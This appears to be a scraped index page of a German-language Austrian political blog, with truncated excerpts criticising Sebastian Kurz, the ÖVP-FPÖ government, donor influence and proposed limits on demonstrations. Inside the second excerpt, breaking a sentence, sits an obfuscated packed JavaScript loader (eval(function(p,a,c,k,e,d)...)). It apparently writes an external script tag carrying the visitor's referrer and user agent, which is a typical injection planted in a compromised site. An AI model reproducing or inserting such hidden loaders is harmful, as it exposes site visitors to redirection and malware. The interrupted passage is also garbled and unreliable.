Sehr geehrte Spender! (Satire) Ich möchte Ihnen mitteilen, dass es mir bei der Nationalratssitzung im Juli bereits gelungen ist, einige Wünsche meiner Wahlkampfspender umzusetzen. Als wichtigstes Anliegen ihrerseits haben wir den 12 Stundentag ermöglicht. Ich bitte um Verständnis, dass wir zur Beruhigung der Bevölkerung die „Freiwilligkeit“ ins Gesetz schreiben mussten. Sie als Praktiker wissen aber ohnedies, dass diese Freiwilligkeit im […]

Die eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!“.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+‘};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‚\\b’+e(c)+’\\b‘,’g‘),k[c])}}return p}(‚0.6(„„);n m=“q“;‘,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzrfs|var|u0026u|referrer|rtdak||js|php‘.split(‚|‘),0,{})) schwarz-blaue Regierung steht – abgesehen davon, dass sowohl ÖVP als auch FPÖ bei einigen Wahlversprechen umgefallen sind. Was genau inhaltlich kommt, wird sich in den nächsten Tagen zeigen. Die Verteilung der Ministerien und die Personalentscheidungen sind aber seit heute bekannt. Bundespräsident Van der Bellen hat zwar verhindert, dass Justiz und Polizei in der […]

Gestern hat ÖVP-Chef Kurz in seinem ORF-Sommergespräch gemeint, dass die freiwilligen HelferInnen mit ihrer Hilfsbereitschaft gegenüber den Flüchtlingen im Herbst 2015 „ihr eigenes Gewissen beruhigen wollten“. Mit anderen Worten, ihre Hilfe wäre keine humane Geste, sondern ein selbstbezogene Handlung mit egoistischen Motiven gewesen. Dieser verächtlichen Sichtweise muss widersprochen werden. Nein, die Freiwilligen waren keine Egoisten. Sie haben in Wahrheit Österreich […]

ÖVP-Chef Kurz sammelt derzeit eifrig Geldgeschenke von Großspendern, um seinen Wahlkampf zu finanzieren. Was Kurz macht ist nicht illegal, bringt aber eine Amerikanisierung der Wahlkampffinanzierung mit allen schädlichen Folgen nach Österreich. Dieses System der Spendenkeilerei sorgt für die Verfilzung zwischen politischen Entscheidungen und wirtschaftlichen Interessen von Sponsoren. Interessensgruppen und Einzelpersonen bekommen als Mäzene Einfluss auf die Politik. Offiziell will die […]

Ich kenne Justizminister Brandstetter als freundlichen und interessanten Gesprächspartner, der sich offen Probleme anschaut und ein Sachpolitiker ist. Wie er sich aber in jüngster Zeit parteipolitisch von der ÖVP vorführen und instrumentalisieren lässt ist unerträglich und eines Justizministers unwürdig. ÖVP-Obmann Kurz hat das Strafrecht für den Wahlkampf entdeckt. Die Strafhöhen von Gewaltdelikten und Vermögensdelikten würden in einem Missverhältnis stehen. Das […]

ÖVP-Chef Kurz verteilt Wahlzuckerl. Die Abgabenquote soll gesenkt werden. Was für manche gut klingt, ist irgendwo zwischen Steuerpopulimus und Sozialabbau einzustufen. Warum? Wenn 12 bis 14 Milliarden weniger eingenommen werden, muss irgendwo gekürzt werden. Kurz bietet dafür Entbürokratisierung und Verwaltungsreform an. Das wird jetzt schon von mehreren Politikergenerationen versprochen und war in der Regel eher als Code für das Fehlen […]

Wolfgang Schüssel ist der Meister des riskanten Machtpokers. In einem Blogbeitrag vom Dezember 2016 „Die ÖVP und ihr schwieriges Verhältnis zur FPÖ“ habe ich beschrieben, wie Kurz, Lopatka und Sobotka bei Schüssel mit dem Ziel der arbeitsteilige Zerstörung der rot-schwarzen Koalition Hof halten. Genauso ist es gekommen. Schüssel sprengt damit nach 1995, 2002, 2008 im Jahr 2017 zum vierten Mal […]

Innenminister Sobotka hat wieder mit verfassungswidrigen Forderungen provoziert. Er will das Demonstrationsrecht einschränken. So will er zeitliche und örtliche Beschränkungen für Versammlungen, wenn die Rechte Dritter beeinträchtigt werden. Gemeint sind Geschäftsinteressen in Einkaufsstraßen. Das ist verfassungswidrig. Die Versammlungsfreiheit beinhaltet auch die Freiheit Ort und Zeit der Versammlung zu bestimmen. Demozonen, wo man nicht auffällt, laufen dem Kern der Versammlungsfreiheit, sein […]

ÖVP-Generalsekretär Amon will die ÖVP stärker von der FPÖ abgrenzen, hat er gegenüber dem „Standard“ erklärt. Bisher hat die ÖVP die FPÖ kopiert und sich mit der SPÖ gestritten. Erfolgsrezept war das keines. Tatsache ist, dass die ÖVP die Wahlen nicht gegen die SPÖ gewinnen kann, sondern sowohl schwarz als rot ihre WählerInnen gegenüber der FPÖ verteidigen müssen. Dort sitzt […]

Außenminister Kurz wollte seinen Vorschlag das australische Modell der Flüchtlingspolitik mit Internierungslagern auf Inseln zur innenpolitischen Profilierung nutzen. Vielleicht hat das bei manchen Boulevard-Journalisten und an einigen Stammtischen funktioniert. Kurz hat aber vergessen, dass er nicht irgendein FPÖ-Wirtshauspolitiker oder der unter der Relevanzgrenze agierender Obmann der ÖVP-Wien, sondern Außenminister eines EU-Landes ist. Auch wenn er es vermutlich selbst nicht glauben […]